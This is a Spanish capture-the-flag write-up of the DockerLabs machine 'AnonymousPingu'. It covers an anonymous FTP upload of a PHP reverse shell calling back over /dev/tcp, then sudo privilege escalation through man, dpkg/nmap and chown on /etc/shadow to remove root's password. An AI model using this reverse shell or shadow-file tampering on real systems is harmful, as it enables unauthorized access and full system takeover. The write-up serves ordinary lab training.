> For the complete documentation index, see [llms.txt](https://propus.gitbook.io/hackbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://propus.gitbook.io/hackbook/writeups/dockerlabs/anonymouspingu.md).

# 🟩 AnonymousPingu

🧠Dificultad: Fácil | 🔓31/08/2025

## 🕵️ Reconocimiento

El escaneo de puertos nos dice que hay un servicio FTP con login anónimo, y un servicio HTTP :

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FUc1GBFkxm2VJdsdJEiru%2Fimage.png?alt=media&amp;token=0e0ccb2e-8965-4a2d-b669-24e2d3965164" alt=""><figcaption></figcaption></figure>

En el servicio FTP se encuentran los archivos utilizados para el servicio web. La carpeta `upload` está habilitada para subir contenido. Además, si accedemos a este directorio desde el servicio web, nos encontramos con un `directory indexing`.

<div align="left"><figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FhC0yU2kEbUA0kD9dDvjE%2Fimage.png?alt=media&amp;token=bfdd899e-7420-49d0-88ac-126bd737e269" alt=""><figcaption></figcaption></figure></div>

## 🚪 Ganando acceso

Probamos a subir una reverse shell en PHP a la carpeta `upload` por FTP.

```php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'"); ?>
```

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FSJwAN2pMtsHwEJ2VS0LG%2Fimage.png?alt=media&amp;token=0fb6543d-a513-4fd1-806f-3a6b94d9ffde" alt=""><figcaption></figcaption></figure>

## 💥 Escalando privilegios

Si comprobamos los permisos que tenemos con `sudo`, vemos que podemos ejecutar el binario `man` como `pingu` sin necesidad de contraseña.

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2Fd9eJ2LAXEjFi1sRWBC9R%2Fimage.png?alt=media&amp;token=a1f5afc9-4a4c-458d-b777-2f39b9fd8bf8" alt=""><figcaption></figcaption></figure>

En [gtfobins](https://gtfobins.github.io/gtfobins/man/) vemos que podemos explotar esta configuración para obtener una shell con el usuario `pingu`. Antes de mostrar la explotación de esta configuración, cabe destacar que es necesario mejorar la shell con los siguientes comandos:

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Suspendemos la terminal con CTRL + Z
stty raw -echo; fg
reset
```

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2F97Jat1q1AjjukNFMDBgx%2Fimage.png?alt=media&amp;token=ffada790-386e-44ac-a496-3a8144c85c9c" alt=""><figcaption></figcaption></figure>

Del mismo modo, con `sudo -l` vemos que podemos ejecutar el binario `dpkg` y `nmap` como `gladys` sin contraseña. Usamos el exploit de gtfobins:

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FQH47MNFcQlttIsFBKl8Q%2Fimage.png?alt=media&amp;token=e49a76a1-8d46-44b0-89fe-47012f51501a" alt=""><figcaption></figcaption></figure>

Una vez dentro como gladys, vemos de nuevo que tenemos permisos para ejecutar como `root` el binario `chown` . Esto nos hace poder cambiar el propietario y grupo del fichero que queramos. Si nos hacemos dueños del fichero `/etc/shadow`, podemos mirar posibles contraseñas o escribirlas:

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FNovCD40JbFaJuEwDVjOP%2Fimage.png?alt=media&amp;token=fead1e74-f4d2-42ae-8685-2f3562eff7fa" alt=""><figcaption></figcaption></figure>

Modificando el fichero, podemos dejar sin contraseña al usuario `root`.

<div align="left"><figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2Fu5DYrQAIwGUSKWpAnKSV%2Fimage.png?alt=media&amp;token=fdac6da2-2a82-4959-9c3c-60f8fb2ae7af" alt=""><figcaption></figcaption></figure></div>
